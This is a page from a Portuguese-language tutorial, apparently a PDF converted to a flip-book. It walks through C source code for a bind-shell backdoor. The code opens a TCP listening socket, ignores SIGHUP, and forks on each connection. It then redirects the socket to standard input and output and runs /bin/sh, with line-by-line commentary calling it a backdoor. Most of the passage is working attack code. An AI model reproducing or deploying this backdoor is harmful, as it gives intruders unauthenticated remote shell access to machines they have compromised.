Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
struct sockaddr_in server_address;<br />
struct sockaddr_in client_address;<br />
Declaração dos sockets do cliente e do servidor além de variáveis<br />
auxiliares que iremos utilizar mais a frente. A clientpid e a serverpid,<br />
serão utilizadas para a abertura de processos mais tarde.<br />
sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />
bzero((char *) &server_address, sizeof(server_address));<br />
server_address.sin_family=AF_INET;<br />
server_address.sin_port=htons(PORTA);<br />
server_address.sin_addr.s_addr=htonl(INADDR_ANY);<br />
bind(sockfd, (struct sockaddr *)&server_address, sizeof<br />
(server_address));<br />
listen(sockfd, 5);<br />
signal(SIGHUP, SIG_IGN);<br />
Declaração dos sockets aqui vemos as linhas chaves de nosso programa.<br />
Declaramos socket sockfd, em seguida obtemos o IP da máquina que<br />
hospeda o backdoor (server_address.sin_family=AF_INET;).<br />
Em seguida declaramos a porta do qual o backddor estará ouvindo as<br />
conexões.( server_address.sin_port=htons(PORTA);) e por último<br />
utilizamos a função bind da qual associamos a porta TCP ao socket. E por<br />
último colocamos o socket em escuta, aguardando as conexões (listen<br />
(sockfd, 5);), tratando alguns sinais importantes no sistema (signal<br />
(SIGHUP, SIG_IGN);). Este é o cérebro de nosso programa.<br />
socklen=sizeof(client_address);<br />
temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen);<br />
Nesta fase tratamos a conexão do cliente colocando na variável temp o<br />
accept para a conexão feita pelo cliente.<br />
write(temp, MSGINI, sizeof(MSGINI));<br />
if (temp < 0) exit(0);<br />
clientpid=getpid();<br />
serverpid=fork();<br />
if (serverpid != 0)<br />
{<br />
dup2(temp,0); dup2(temp,1); dup2(temp,2);<br />
execl("/bin/sh","/bin/sh",(char *)0;<br />
}<br />
close(temp);<br />
}<br />
Por último tartamos os PIDS e preparamos o ambiente para executar o<br />
shell (execl("/bin/sh","/bin/sh",(char *)0);/*) e pronto o backdoor estrá<br />
operando.<br />
44